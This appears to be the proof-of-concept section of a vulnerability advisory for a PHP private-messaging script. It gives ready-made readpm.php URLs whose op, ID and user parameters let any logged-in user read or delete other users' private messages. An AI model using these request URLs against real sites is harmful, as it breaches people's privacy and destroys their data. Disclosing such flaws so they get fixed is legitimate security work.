Proof of Concept: In order to access private messages we first need to be logged on. He can they go to the following addresses: http://[victim]/readpm.php?op=read&ID=2&name=pruebas&user=waltrapass or http://[victim]/readpm.php?op=read&ID=2&user=waltrapass

In the above URL you can modify parameters to any of the following values: op = read or del id = id of the message name = username that sent the private message (this is not necessary to view or delete a message) user = username the user that received the message

For example, to delete a message a URL such as this needs to be provided: http://[victim]/readpm.php?op=del&ID=2&name=pruebas&user=waltrapass or http://[victim]/readpm.php?op=del&ID=2&user=waltrapass
